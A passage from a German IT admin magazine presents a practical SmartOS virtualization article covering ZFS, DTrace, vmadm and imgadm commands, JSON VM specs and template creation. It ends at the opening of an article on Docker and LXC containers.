auf das Betriebssystem des Hosts<br />
beschränkt, auch wenn es in Solaris<br />
bereits Branded Zones mit Linux gab.<br />
Volle Virtualisierung mit KVM bietet jedenfalls<br />
mehr Optionen, etwa die, auch<br />
diverse Microsoft-Systeme als Gastsystem<br />
zu betreiben.<br />
Ein weiterer Vorteil von SmartOS besteht<br />
darin, dass es komplette Unter-<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Virtualisierung<br />
SmartOS<br />
85<br />
stützung für das Tracing-Framework<br />
DTrace bietet, mit dem sich Kernel und<br />
Userspace-Programme ohne großen<br />
Overhead zur Laufzeit untersuchen lassen<br />
(Abbildung 1). Zwar gibt es auch für<br />
Linux vergleichbare Tools wie Kprobes<br />
und neuerdings auch einen DTrace-<br />
Port, aber beide stecken verglichen mit<br />
DTrace noch in den Kinderschuhen.<br />
Joyent hat auf der Grundlage von<br />
DTrace umfangreiche Programme<br />
geschrieben, mit denen Kunden die<br />
eigene Cloud im Detail analysieren<br />
können. Dabei muss sich der Anwender<br />
nicht mehr mit DTrace-Skripts beschäftigen,<br />
sondern bekommt diverse<br />
grafische Darstellungen präsentiert, die<br />
ihm einen Eindruck von Auslastung und<br />
Engpässen verschaffen.<br />
Auch das ZFS-Dateisystem hat in dem<br />
Virtualisierungskonzept von SmartOS<br />
einen besonderen Platz. Das System<br />
profitiert nicht nur von den allgemeinen<br />
Fähigkeiten des Solaris-Dateisystems,<br />
etwa der Möglichkeit, RAID-<br />
Systeme zu realisieren und sie nach Belieben<br />
zu erweitern. Auch die virtuellen<br />
Maschinen machen von ZFS-Features<br />
Gebrauch, weil die Dateisysteme von<br />
VMs nur Snapshots der VM-Templates<br />
sind und somit Speicherplatz sparen.<br />
SmartOS selber einsetzen<br />
Wer die Vorteile von SmartOS selbst erfahren<br />
möchte, muss nicht Kunde von<br />
Joyent werden, denn SmartOS steht<br />
als freie Software zur Verfügung. Zum<br />
Download gibt es mehrere Optionen:<br />
verschiedene Images für CDs, USB-<br />
Sticks und virtuelle Maschinen sowie<br />
Dateien zum PXE-Booten.<br />
SmartOS wird nicht auf der Festplatte<br />
installiert, denn ein aktuelles System<br />
ist am ehesten gewährleistet, wenn<br />
keine alten Dateien auf dem Dateisystem<br />
liegen. Das Betriebssystem wird<br />
also stets komplett von einem Medium<br />
gebootet, während die virtuellen Maschinen<br />
auf einem ZFS-Storage-Pool<br />
dauerhaft gespeichert sind. Im einfachsten<br />
Fall startet man SmartOS von<br />
USB-Stick oder CD, in Produktivumgebungen<br />
am besten über PXE von einem<br />
Server.<br />
Am sinnvollsten ist für SmartOS ein<br />
echter Rechner, denn es setzt das Vor-<br />
Abbildung 1: Ein mit DTrace erstellter Flame Graph, der den Call Stack von MySQL visualisiert.<br />
handensein der Prozessorfeatures (nur<br />
Intel) VMX (VT) und EPT (Extended Page<br />
Tables) voraus, die in virtualisierten<br />
Systemen nicht unbedingt gegeben<br />
sind. Möglich ist die Installation etwa<br />
in VMware Fusion, das die beiden<br />
Features auch an Gast-Systeme weiterreicht.<br />
Auch in VirtualBox ist die<br />
Installation von SmartOS möglich,<br />
aber die Performance ist nicht die<br />
beste. Schließlich bietet auch Linux<br />
mit Nested-KVM zumindest VMX in virtuellen<br />
Maschinen an. Allerdings gibt<br />
es erst seit Kernel 3.12 auch Support<br />
für Nested-EPT, womit sich SmartOS<br />
immerhin ohne die entsprechende Fehlermeldung<br />
installieren ließ. Allerdings<br />
blieb es danach stets beim Start einer<br />
KVM-Maschine hängen. Ein eigener<br />
Rechner ist also die beste Lösung.<br />
Obwohl es keine Installation gibt, muss<br />
man nach dem Booten von CD oder<br />
USB ein paar Dinge einrichten, nämlich<br />
das Root-Passwort, die Netzwerkeinstellungen<br />
und die Storage-Optionen.<br />
SmartOS setzt als Storage mindestens<br />
eine komplette Festplatte voraus, mit<br />
mehreren Festplatten lassen sich im<br />
ZFS-Pool auch diverse RAID-Setups<br />
realisieren. Schon bei diesem Schritt<br />
muss sich der Linux-Anwender etwas<br />
umstellen, denn die Devices werden<br />
Solaris-typisch benannt: »c0t0d0«, wobei<br />
»c0« für den ersten Controller steht,<br />
»t0« für den ersten Bus und »d0« für die<br />
erste Disk.<br />
Loggt man sich im neuen SmartOS-<br />
System ein, landet man in einer<br />
Solaris-Umgebung und muss sich mit<br />
ein paar neuen Tools vertraut machen.<br />
So gibt es beispielsweise das von Linux<br />
bekannte »top« nicht, stattdessen<br />
aber ein Programm namens »prstat«.<br />
Ein praktisches Cheatsheet für Linux-<br />
Anwender, das die entsprechenden<br />
Befehle in SmartOS aufführt, ist unter<br />
[2] zu finden.<br />
Die wenigen Konfigurationsdaten,<br />
die SmartOS im ZFS-Dateisystem<br />
speichert, sind in »/usbkey/config« zu<br />
finden. Die sogenannte Global Zone, in<br />
der man sich nach dem Einloggen wiederfindet,<br />
ist nicht persistent, sondern<br />
auf einer RAM-Disk gespeichert. Das bedeutet<br />
insbesondere, dass man keine<br />
Benutzer anlegen kann, die nach einem<br />
Reboot noch da sind, ebenso auch<br />
keine Dateien in den Verzeichnissen<br />
»/etc«, »/root« und »/usr«. Allerdings<br />
befindet sich »/opt« (und auch »/var«)<br />
im ZFS und kann deshalb zum Speichern<br />
von Dateien verwendet werden.<br />
Wer will, kann sogar den Paketmanager<br />
»pkgin« dort installieren und dann nach<br />
Herzenslust Software einspielen. Für<br />
den Paketmanager gibt es ein fertiges<br />
Tar-Paket, das man nur herunterladen<br />
und entpacken muss:<br />
cd /<br />
curl ‐k http://pkgsrc.joyent.com/U<br />
packages/SmartOS/bootstrap/bootstrapU<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
86<br />
Virtualisierung<br />
SmartOS<br />
Abbildung 2: Die verfügbaren Templates für virtuelle Maschinen lassen sich in den lokalen Store<br />
importieren.<br />
‐2013Q3‐x86_64.tar.gz | gzcat | tar U<br />
‐xf ‐<br />
Danach gilt es mit »pkg_admin rebuild«<br />
die Paketdatenbank zu erneuern und<br />
mit »pkgin ‐y up« zu aktualisieren. Jetzt<br />
steht das Programm »pkgin« zur Verfügung,<br />
das nach Paketen suchen, sie<br />
installieren und wieder deinstallieren<br />
kann. Alle Pakete landen unterhalb des<br />
n Listing 1: »vmspec.json«<br />
01 {<br />
02 "brand": "kvm",<br />
03 "alias": "ubuntu1",<br />
04 "vcpus": 1,<br />
05 "autoboot": false,<br />
06 "ram": 2048,<br />
07 "resolvers": ["192.168.111.254"],<br />
08 "disks": [<br />
09 {<br />
10 "image_uuid": "1fc068b0‐13b0‐11e2‐9f4e‐2f<br />
3f6a96d9bc",<br />
11 "boot": true,<br />
12 "model": "virtio"<br />
13 }<br />
14 ],<br />
15 "nics": [<br />
16 {<br />
17 "nic_tag": "admin",<br />
18 "model": "virtio",<br />
19 "ip": "dhcp",<br />
20 "primary": 1<br />
21 }<br />
22 ]<br />
23 }<br />
Verzeichnisses »/opt/local« und sind<br />
auch nach einem Reboot noch da.<br />
Auch Services dauerhaft einzurichten,<br />
ist über das »/opt«-Verzeichnis möglich.<br />
Die Service Management Facility<br />
(SMF), die bei Solaris und SmartOS die<br />
Verwaltung von Diensten übernimmt,<br />
sieht beim Booten auch im Verzeichnis<br />
»/opt/custom/smf« nach, wo man also<br />
die Konfigurationsdateien für eigene<br />
Services ablegen kann.<br />
Images besorgen<br />
Virtuelle Maschinen verwalten zwei<br />
einfache Befehle. »imgadm« verwaltet<br />
die Images, auf denen die virtuellen<br />
Maschinen basieren, die der SmartOS-<br />
Administrator mit »vmadm« installiert.<br />
Dazu gibt es ein lokales Verzeichnis von<br />
VM-Templates, das »imgadm list« anzeigt.<br />
Anfangs gibt es hier noch nichts<br />
zu sehen, bevor nicht wenigstens ein<br />
Template importiert ist.<br />
Per Default ist »imgadm« so konfiguriert,<br />
dass es auf den Image-Server<br />
zurückgreift, der unter »https://images.<br />
joyent.com« zu finden ist, wie »imgadm<br />
sources« verrät. Neue Server lassen<br />
sich ebenfalls mit diesem Kommando<br />
hinzufügen. Welche Images bei Joyent<br />
zu finden sind, ist mit »imgadm avail«<br />
zu erfahren. »imgadm update« bringt<br />
die Liste auf den laufenden Stand. In<br />
den lokalen Image Store importiert<br />
»imgadm import UUID« ein Image.<br />
Grundsätzlich gibt es zwei Typen von<br />
Images: »smartos« für Solaris Zones (im<br />
SmartOS-Jargon „Joyent-Brand“) und<br />
KVM-Images, von denen das Joyent-<br />
Repository derzeit »linux« und »bsd«<br />
anbietet.<br />
Wie in Abbildung 2 zu sehen ist, verwendet<br />
SmartOS zur Identifizierung<br />
von Images – wie auch virtueller<br />
Maschinen – recht unübersichtliche<br />
Hashes, die für die manuelle Administration<br />
oft umständlich erscheinen,<br />
aber immerhin mit Copy-and-Paste zu<br />
bewältigen sind.<br />
Ist ein VM-Template importiert, kann<br />
man sich an das Erzeugen einer virtuellen<br />
Maschine machen. Dazu braucht<br />
man neben dem Template noch eine<br />
Spezifikation der virtuellen Maschine,<br />
die im JSON-Format abgefasst ist und<br />
im Wesentlichen die virtuelle Hardware<br />
der VM bestimmt, also Disks, Netzwerkkarten<br />
und so weiter.<br />
Ein Beispiel einer solchen Spezifikation<br />
ist in Listing 1 zu sehen. Der Eintrag<br />
»brand« legt den Virtualisierungstyp<br />
fest. Im Beispiel ist es »kvm«, für Zones<br />
lautet der Eintrag »joyent«. Ein »alias«<br />
ist praktisch, denn sonst findet man die<br />
Maschine später nur schwer wieder. Bei<br />
den Modellen der Disk-Hardware gibt<br />
es alternativ zu Virtio auch die Standards<br />
IDE und SCSI, aber Virtio gilt für<br />
Linux als die beste Lösung. Auch für virtuelle<br />
Windows-Maschinen kann man<br />
diese Option einsetzen, braucht aber<br />
dann passende Treiber, insbesondere<br />
bei der Installation. Das Gleiche gilt für<br />
die Netzwerkkarte, für die alternativ<br />
zu Virtio auch Emulationen gängiger<br />
Ethernet-Hardware existieren.<br />
Der springende Punkt ist schließlich,<br />
im Disks-Abschnitt die »image_uuid«<br />
einzutragen, die derjenigen des importierten<br />
Templates entsprechen muss.<br />
Mit dieser Konfiguration erzeugt ein<br />
Aufruf von »vmadm create ‐f vmspec.<br />
json« eine neue virtuelle Maschine,<br />
deren (neue) UUID der Befehl ausgibt –<br />
wenn alles klappt. Der Befehl »vmadm<br />
list« zeigt in der Liste die jetzt laufende<br />
Maschine an (Abbildung 3). Eine Übersicht<br />
aller in den JSON-Konfigurationsdateien<br />
verfügbaren Optionen ist unter<br />
[3] zu finden.<br />
Einige Konfigurationsvariablen lassen<br />
sich auch zur Laufzeit mit »vmadm«<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Virtualisierung<br />
SmartOS<br />
87<br />
ändern. Beispielsweise ändert »vmadm<br />
update alias=Name« den Alias der virtuellen<br />
Maschine. Alternativ liest der<br />
Befehl auch JSON-Abschnitte ein und<br />
aktualisiert damit die Konfiguration. So<br />
kann man beispielsweise auch eigene<br />
Metadaten in die Konfiguration integrieren.<br />
Listing 2 zeigt entsprechende<br />
JSON-Daten und wie man sie in die<br />
Konfiguration einliest.<br />
Sich auf der virtuellen Maschine einzuloggen,<br />
ist beispielsweise mit einem<br />
Aufruf von »vmadm console VM‐UUID«<br />
möglich. Allerdings muss das Gastsystem<br />
dann so konfiguriert sein, dass auf<br />
der ersten seriellen Schnittstelle ein<br />
Getty-Prozess auf ein Login wartet.<br />
Alternativ bietet SmartOS für jede VM<br />
einen Remotedesktop-Zugang per VNC,<br />
dessen Port automatisch vergeben<br />
wird. Um herauszufinden, welchen<br />
Port die aktuelle Maschine verwendet,<br />
kennt »vmadm« den Befehl »info«, in<br />
dem auch die VNC-Konfiguration verborgen<br />
ist (Abbildung 4).<br />
Zugang auch per VNC<br />
Den Remotedesktop zeigt unter Linux<br />
beispielsweise der VNC-Viewer mit<br />
»vnc viewer 192.168.111.20:43948« an.<br />
So kann man dann per VNC herausfinden,<br />
welche IP-Adresse per DHCP<br />
vergeben wurde, wenn man keine statischen<br />
IP-Adressen verwendet oder sie<br />
im DHCP-Server für eine MAC-Adresse<br />
fix zugeordnet hat. Sinnvoll ist es in jedem<br />
Fall, sich eine strukturierte Lösung<br />
für das Management von IP-Adressen<br />
für die VMs auszudenken.<br />
Per Default ist der VNC-Zugang übrigens<br />
nicht abgesichert. Man sollte<br />
einen SmartOS-Host also am besten<br />
nicht im Internet aufstellen. Für einzelne<br />
VMs setzt der Aufruf »vmadm update<br />
VM‐UUID vnc_password=Passwort«<br />
ein Passwort.<br />
Im Test gab es übrigens des öfteren<br />
das Problem, dass bei der VNC-Anzeige<br />
wichtige Zeichen nicht mit der Tastatur<br />
zu erzeugen waren, weil die Keymap<br />
nicht stimmte. Es ließ sich beheben,<br />
indem Qemu die passende Keymap<br />
als Parameter übergeben bekam. Der<br />
Befehl dafür, die Keymap bei einer VM<br />
einzustellen, lautet »vmadm update<br />
VM‐UUID qemu_extra_opts="‐k de"«.<br />
Installation von OSs<br />
Alternativ zu vorgefertigten Image-<br />
Templates kann man eigene Templates<br />
verwenden oder Betriebssysteme<br />
komplett neu installieren, etwa für<br />
Windows-VMs, für die es keine Templates<br />
gibt. Der dafür vorgesehene Weg besteht<br />
darin, zuerst eine neue VM ohne<br />
ein Template anzulegen und dann von<br />
einem Installationsmedium zu booten.<br />
Die dafür nötige JSON-Datei sieht fast<br />
genauso aus wie Listing 1, aber statt<br />
des Disk-Abschnitts trägt man die<br />
Größe der virtuellen Festplatte ein:<br />
"disks": [<br />
{<br />
"boot": true,<br />
"model": "virtio",<br />
"size": 15000<br />
}<br />
],<br />
Damit die VM das Installationsmedium<br />
findet, kopiert man dessen ISO-Image<br />
in ihr Root-Verzeichnis, das in »/zones/<br />
VM‐UUID/root« zu finden ist. Der<br />
»vmadm«-Befehl besitzt spezielle Optionen,<br />
um für die Installation einmalig<br />
die VM von diesem Image zu booten:<br />
vmadm start VM‐UUID order=U<br />
cd,once=d cdrom=/centos.iso,ide<br />
n Listing 2: »meta.json«<br />
01 # cat meta.json<br />
02 {<br />
03 "set_customer_metadata":<br />
04 {"opsys": "ubuntu"}<br />
05 }<br />
06 # vmadm update ed9879e8‐764a‐4c15‐a298‐6b51e815b<br />
68e < meta.json<br />
07 Successfully updated ed9879e8‐764a‐4c15‐a298‐6b<br />
51e815b68e<br />
Jetzt kann man, etwa über VNC, das<br />
Betriebssystem wie bei einer physischen<br />
Maschine installieren und nach<br />
einem Reboot des Gasts die VM vom<br />
neuen System starten.<br />
Wer eine CD oder DVD in den SmartOS-<br />
Rechner eingelegt hat, kann auch davon<br />
ein ISO-Image machen, um die VM<br />
damit zu booten. Das geht ganz einfach<br />
mit dem dd-Befehl von Unix:<br />
dd if=/dev/dsk/c0t4d0s2 of=U<br />
/zones/VM-UUID/root/centos.iso<br />
Bleibt nur noch die Schwierigkeit, den<br />
Device-Namen des Laufwerks herauszufinden.<br />
Hierbei hilft der Befehl »iostat<br />
‐En«.<br />
Damit man nicht jedes Gastsystem<br />
einzeln installieren muss, kann man<br />
von einem System eigene Templates<br />
Abbildung 3: »vmadm list« zeigt die installierten virtuellen Maschinen an.<br />
Abbildung 4: Mit einem Aufruf von »vmadm info« lässt sich der VNC-Port einer virtuellen Maschine<br />
herausfinden.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
88<br />
Virtualisierung<br />
SmartOS<br />
es mit dem SHA1-Hash. Ihn erzeugt das<br />
Digest-Kommando:<br />
/usr/bin/digest ‐a sha1 U<br />
centos6.5.zvol.gz<br />
Bei den Timestamps geht es nicht so<br />
genau, man kann sich auf die Anpassung<br />
des Datums beschränken. Ist die<br />
Manifest-Datei vollständig, importiert<br />
der folgende Aufruf das Template in<br />
den eigenen Store:<br />
imgadm install ‐m centos6.5.U<br />
dsmanifest ‐f centos6.5.zvol.gz<br />
Abbildung 5: Jede Menge ZFS-Volumes: SmartOS macht von den Snapshot-Fähigkeiten des<br />
Solaris-Dateisystems Gebrauch.<br />
anlegen und sie für neue Instanzen verwenden.<br />
Dazu ist es nötig, die UUID der<br />
entsprechenden Maschine mit »vmadm<br />
list« in Erfahrung zu bringen. Ein Aufruf<br />
von »zfs list« zeigt die ZFS-Volumes,<br />
unter denen sich auch diejenigen der<br />
VM befinden (Abbildung 5). Ist die VM<br />
heruntergefahren, erstellt man mit »zfs<br />
snapshot« einen Snapshot des Gast-<br />
Volumes. Ein zweiter Schritt macht per<br />
»zfs send« aus dem Snapshot eine Datei<br />
und komprimiert sie.<br />
zfs snapshot zones/5562fffe‐96b1‐U<br />
454e‐aff0‐6d8782875f2e‐disk0@image<br />
zfs send zones/5562fffe‐96b1‐454e‐U<br />
aff0‐6d8782875f2e‐disk0@image | gzip U<br />
> centos6.5.zvol.gz<br />
Ein komplettes VM-Template ist letztlich<br />
nichts anderes als eben ein solches<br />
komprimiertes Image zusammen mit<br />
einer Datei, die die Metadaten enthält –<br />
natürlich wieder im JSON-Format. Ein<br />
Beispiel dafür ist in Listing 3 zu sehen.<br />
Die meisten Einträge darin dürften<br />
selbsterklärend sein. Die UUIDs, die<br />
man zum Beispiel für »uuid«, »creator_uuid«<br />
und »vendor_uuid« eintragen<br />
muss, lassen sich mit dem Befehl<br />
»uuid« erzeugen. Die »size« der Disk<br />
zeigt »ls ‐l« an. Etwas schwieriger wird<br />
Anschließend steht das Template für<br />
die Erzeugung neuer VMs zur Verfügung.<br />
Migration hausgemacht<br />
Auf ähnlichem Weg kann man übrigens<br />
eine Art VM-Migration nach Hausmacherart<br />
bewerkstelligen. Dazu konvertiert<br />
man auf dem Ursprungs-Host das<br />
Image der VM ins RAW-Format, falls es<br />
nicht ohnehin schon so gespeichert ist.<br />
Das funktioniert unter Linux beispielsweise<br />
mit »qemu‐img convert«. Dann<br />
kopiert man das RAW-Image auf den<br />
SmartOS-Host, auf dem man wie beschrieben<br />
eine neue VM mit passender<br />
Disk-Größe erstellt. Als letzten Schritt<br />
kopiert man die Daten mit »dd« oder<br />
»cat« direkt in das ZFS-Raw-Device:<br />
n Listing 3: »centos6.5.dsmanifest«<br />
01 {<br />
02 "name": "centos‐6.5",<br />
03 "version": "1.0.0",<br />
04 "type": "zvol",<br />
05 "cpu_type": "qemu64",<br />
06 "description": "Centos 6.5 VM 1.0.0",<br />
07 "created_at": "2013‐12‐04T02:51:46.994Z",<br />
08 "updated_at": "2013‐12‐04T02:51:46.994Z",<br />
09 "os": "linux",<br />
10 "image_size": 10000,<br />
11 "files": [<br />
12 {<br />
13 "path": "centos6.5.zvol.gz",<br />
14 "sha1": "92a100d8eb2c2fd436db1d2b539aa26894f919cb",<br />
15 "size": 285111272<br />
16 }<br />
17 ],<br />
18 "requirements": {<br />
19 "networks": [<br />
20 {<br />
21 "name": "net0",<br />
22 "description": "public"<br />
23 }<br />
24 ],<br />
25 "ssh_key": true<br />
26 },<br />
27 "disk_driver": "virtio",<br />
28 "nic_driver": "virtio",<br />
29 "uuid": "555793a9‐3c32‐4eb9‐ae81‐f60176d8a8e3",<br />
30 "creator_uuid": "352971aa‐31ba‐496c‐9ade‐a379feaecd52",<br />
31 "vendor_uuid": "352971aa‐31ba‐496c‐9ade‐a379feaecd52",<br />
32 "creator_name": "ADMIN",<br />
33 "platform_type": "smartos",<br />
34 "cloud_name": "sdc",<br />
35 "urn": "sdc:ADMIN:centos‐6.5:1.0.0",<br />
36 "published_at": "2013‐12‐04T02:51:46.994Z"<br />
37 }<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Virtualisierung<br />
SmartOS<br />
89<br />
dd if=centos.img of=/dev/zvol/U<br />
rdsk/zones/UUID<br />
Diese Methode sei hier ohne Gewähr<br />
beschrieben und nur experimentierfreudigen<br />
Naturen empfohlen.<br />
Professionell<br />
Wie bisher beschrieben eignet sich<br />
SmartOS bestens für den Test von Systemen<br />
in virtuellen Maschinen. Wer damit<br />
eine Cloud aufbauen oder SmartOS<br />
anderweitig professionell einsetzen<br />
möchte, kommt mit der manuellen Administration<br />
nicht weit. Zur Automatisierung<br />
empfiehlt sich Software für Provisioning<br />
und Konfigurationsmanagement.<br />
Die Methode, SmartOS über PXE<br />
zu booten, wurde bereits erwähnt. Eine<br />
ausführliche Anleitung dazu ist unter<br />
[4] zu finden. Zum Konfigurationsmanagement<br />
bieten sich Programme wie<br />
Puppet oder Cfengine an. Am besten<br />
wird allerdings Chef [5] unterstützt, für<br />
das Joyent selbst diverse Cookbooks<br />
anbietet [6]. Eher experimentell, aber<br />
auch mal einen Blick wert, ist das Projekt<br />
FIFO, das eine webbasierte GUI für<br />
das Management virtueller Maschinen<br />
auf SmartOS implementiert [7].<br />
Zur Installation von Chef stehen drei<br />
Wege offen. Der Omnibus-Installer<br />
von Chef/Opscode, der aber noch als<br />
experimentell gilt, der sogenannte Fat<br />
Client von Joyent oder die manuelle<br />
Installation mit PKG-SRC. Auch für das<br />
Monitoring gibt es ein paar Optionen,<br />
etwa ein Nagios Remote Plugin Executor<br />
(NRPE) für die Global Zone. Joyent<br />
selbst verwendet für das Monitoring<br />
aber Zabbix [9].<br />
Obwohl SmartOS prinzipiell auf unterschiedlicher<br />
Server-Hardware läuft,<br />
sollte man sich beim produktiven<br />
Einsatz auch hierbei am besten an<br />
den Tipps von Joyent orientieren. Sie<br />
empfehlen zum Beispiel für Storage<br />
SAS-Anbindung statt SATA. Auch eine<br />
ausreichende Menge Speicher ist kein<br />
Fehler. Mehr Details dazu sind in einem<br />
Post von Joyent-Mitarbeiter Keith Wesolowski<br />
zu finden [8].<br />
Fazit<br />
SmartOS ist eine interessante Plattform,<br />
die Solaris-Technologien wie<br />
ZFS, Zones und DTrace mit dem<br />
Linux-Hypervisor KVM verbindet. Der<br />
Einsatz in der Joyent-Cloud zeigt, dass<br />
Smart OS für den professionellen Einsatz<br />
geeignet ist. Auch die Bedienung<br />
ist relativ einfach, da sie sich weitgehend<br />
auf zwei Befehle beschränkt. Das<br />
maschinenlesbare JSON-Format zur<br />
Konfiguration vereinfacht die Integration<br />
von SmartOS in Umgebungen mit<br />
Web-Services. Schließlich lässt sich das<br />
System auch durch Konfigurationsmanagement<br />
mit Chef und LDAP zentral<br />
administrieren. n<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/30860<br />
[1] SmartOS: [http:// smartos. org]<br />
[2] Linux-to-SmartOS Cheat Sheet:<br />
[http:// wiki. joyent. com/ wiki/ display/ jpc2/ Th<br />
e+Joyent+Linux‐to‐SmartOS+Cheat+Sheet]<br />
[3] vmadm JSON Quick Reference:<br />
[http:// wiki. smartos. org/ display/ DOC/<br />
vmadm+JSON+Quick+Reference]<br />
[4] PXE Boot: [http:// wiki. smartos. org/ display/<br />
DOC/ PXE+Booting+SmartOS]<br />
[5] Tim Schürmann, Konfigurationsmanagement<br />
mit Chef, ADMIN 04/2010:<br />
[http:// www. admin‐magazin. de/ Das‐Heft/<br />
2010/ 04/ Konfigurationsmanagement‐mit‐<br />
Chef]<br />
[6] SmartOS Cookbooks:<br />
[https:// github. com/ joyent/ smartos_cookbooks]<br />
[7] Project FIFO: [http:// project‐fifo. net]<br />
[8] Hardware Recommendation – What Do Joyent<br />
and Others Run In Production?<br />
[http:// www. listbox. com/ member/ archive/<br />
184463/ 2013/ 02/ sort/ time_rev/ page/ 1/<br />
entry/ 5:161/ 20130218134633:82C0ABBC‐79F<br />
B‐11E2‐B214‐A90A0365DAE4/]<br />
[9] Thomas Drilling, Monitoring mit Zabbix, ADMIN<br />
01/2012: [http:// www. admin‐magazin. de/<br />
Das‐Heft/ 2012/ 01/ Monitoring‐mit‐Zabbix]
ping han, 123RF<br />
Renaissance der Container-Virtualisierung mit <strong>Docker</strong><br />
Container-Terminal<br />
<strong>Docker</strong> verhilft dem Linux-Container zu einem publikumswirksamen Comeback und baut rund um die<br />
Virtualisierungslösung die Funktionen ein, die beim Original fehlen. Martin Loschwitz<br />
Wenn im IT-Kontext der Begriff Virtualisierung<br />
fällt, dann verbinden das die<br />
meisten Admins fast automatisch mit<br />
den Standard-Tools wie Qemu, VMware<br />
oder Xen. All diesen Lösungen ist gemein,<br />
dass sie umfassende Virtualisierer<br />
sind, die ganze Systeme emulieren.<br />
Sämtliche Werkzeuge dieser Kategorie<br />
verursachen einen großen Overhead,<br />
auch wenn es nur darum geht, einzelne<br />
Programme in virtuellen Umgebungen<br />
zu betreiben.<br />
Wenig Overhead<br />
Dass Virtualisierung auch mit deutlich<br />
weniger Nebengeräuschen möglich ist,<br />
beweisen Container-basierte Lösungen.<br />
Diese sperren Prozesse lediglich in ein<br />
virtuelles Gefängnis ein, benötigen dafür<br />
aber nicht den Overhead eines eigenen<br />
Betriebssystems, sondern begnügen<br />
sich mit den Ressourcen, die ihnen<br />
das Host-Betriebssystem zur Verfügung<br />
stellt. Praktisch alle Betriebssysteme<br />
verfügen über eine eigene Container-<br />
Implementation: FreeBSD hat seine<br />
Jails, auf Windows war Virtuozzo eine<br />
ganze Weile hip und natürlich hat auch<br />
Linux Container, sogar in mehrfacher<br />
Ausfertigung: OpenVZ, LXC und Linux-<br />
VServer buhlen um die Gunst der<br />
Nutzer.<br />
Bemerkenswert ist dabei vor allem LXC:<br />
Einst ein kleiner Hype, ist die Technologie<br />
zwischenzeitlich weitestgehend aus<br />
den Nachrichten verschwunden und<br />
eher zum Randthema geworden. Sehr<br />
zu unrecht: In LXC-Containern lassen<br />
sich Aufgaben erledigen, für die das<br />
Virtualisieren eines ganzen Betriebssystems<br />
definitiv zu großer Aufwand wäre.<br />
Den Entwicklern vom Linux-Container<br />
(dafür steht LXC) dürfte es insofern<br />
gefallen, dass über Umwege derzeit ihr<br />
Projekt wieder im Mittelpunkt steht:<br />
<strong>Docker</strong> verbreitet sich wie ein Lauffeuer<br />
in der Community und es basiert auf<br />
den Funktionen von LXC.<br />
Container as a Service?<br />
Die Entwickler hinter <strong>Docker</strong> haben im<br />
Grunde die Hausaufgaben gemacht,<br />
die die LXC-Entwickler hätten machen<br />
sollen: Sie haben – womöglich gar nicht<br />
bewusst – die Frage beantwortet, wieso<br />
LXC sich in der breiten Masse bisher<br />
nicht durchgesetzt hat. Einerseits fallen<br />
sicherlich die bereits genannten und<br />
sehr viel PR-trächtigeren Vollvirtualisierer<br />
ins Gewicht, andererseits scheint es<br />
aber auch so, als habe sich vielen Anwendern<br />
der Sinn hinter Containern im<br />
Computing-Umfeld nur unzureichend<br />
erschlossen.<br />
<strong>Docker</strong> macht LXC nun attraktiv: Das<br />
erklärte Ziel des Projektes ist es, jed-<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Virtualisierung<br />
<strong>Docker</strong><br />
91<br />
wede Applikation in einen Container zu<br />
packen, um diesen Container anschließend<br />
verteilen zu können. Die Idee ist<br />
brillant: Sie rückt die technischen Details<br />
in den Hintergrund, damit im Vordergrund<br />
ein leicht zu nutzender Dienst<br />
steht. De facto ergänzt <strong>Docker</strong> LXC um<br />
die Usability, die LXC selbst zum Erfolg<br />
stets gefehlt hat.<br />
Und das Werkzeug kommt an bei den<br />
Nutzern: Kaum jemand, der in den letzten<br />
Wochen von der Lösung noch nicht<br />
gehört hätte. Grund genug, sich einmal<br />
genauer mit <strong>Docker</strong> zu beschäftigen:<br />
Wie funktioniert die Lösung und wie<br />
lässt <strong>Docker</strong> sich konkret nutzen, um<br />
sich selbst Arbeit zu ersparen oder sich<br />
Arbeit wenigstens leichter zu machen?<br />
Im Backend verlässt <strong>Docker</strong> sich ausschließlich<br />
auf LXC. Die Frage nach den<br />
Fähigkeiten von <strong>Docker</strong> ist insofern<br />
auch die Frage nach den Funktionen,<br />
die in LXC enthalten sind: Im Grunde ist<br />
LXC ja zunächst nichts anderes als eine<br />
Sammlung von Funktionen, die der<br />
Linux-Kernel zu Sandboxing-Zwecken<br />
anbietet.<br />
Cgroups<br />
Dabei stechen zwei Funktionen hervor:<br />
Cgroups und Namespacing. Cgroups<br />
steht für Control Groups und bezeichnet<br />
eine Kernel-Funktion in Linux, mit<br />
der sich Prozessgruppen definieren<br />
lassen, um anschließend die verfügbaren<br />
Ressourcen für diese Gruppen zu<br />
beschränken. Vornehmlich geht es um<br />
Hardware: Für Cgroups lässt sich festlegen,<br />
wieviel RAM, Platz auf der Platte<br />
oder Disk-I/O eine Gruppe verwenden<br />
darf. Die Liste der verfügbaren Kriterien<br />
ist dabei freilich weit länger als diese<br />
Beispiele. Seit der Version 2.6.24 sind<br />
Cgroups fester Bestandteil des Kernels,<br />
und über die Jahre haben die Kernel-<br />
Entwickler die Cgroup-Funktionen<br />
deutlich ausgebaut. Neben der oben<br />
erwähnten Begrenzung von Ressourcen<br />
lassen sich Cgroups nämlich mittlerweile<br />
auch priorisieren sowie von außen<br />
ordentlich steuern.<br />
Namespacing<br />
Namespacing spielt in Linux zusätzlich<br />
eine zentrale Rolle, wenn es um das<br />
Thema Sicherheit geht. Cgroups per<br />
Abbildung 1: Über den Index-Dienst wollen die <strong>Docker</strong>-Entwickler Container sammeln und sie Nutzern<br />
zur Verfügung stellen.<br />
se sind nämlich nicht vorrangig dafür<br />
da, Prozesse voneinander abzugrenzen<br />
– sie kümmern sich bevorzugt um<br />
Ressourcen. Den Sicherheitsaspekt<br />
werfen Namespaces in die Waagschale:<br />
Über Namespaces lassen sich nämlich<br />
einzelne Prozesse oder Cgroups vor<br />
anderen Prozessen oder Cgroups verstecken.<br />
Feingranular ist die Technik obendrein:<br />
Namespaces unterscheiden zwischen<br />
den Prozess-IDs, dem Netzwerkzugriff,<br />
dem Zugriff auf den gemeinsamen<br />
Hostnamen, Mountpoints oder der<br />
Kommunikation aller Prozesse miteinander<br />
(IPC). Network-Namespaces sind<br />
mittlerweile zum Beispiel recht beliebt,<br />
um auf dem gleichen Host eine Trennung<br />
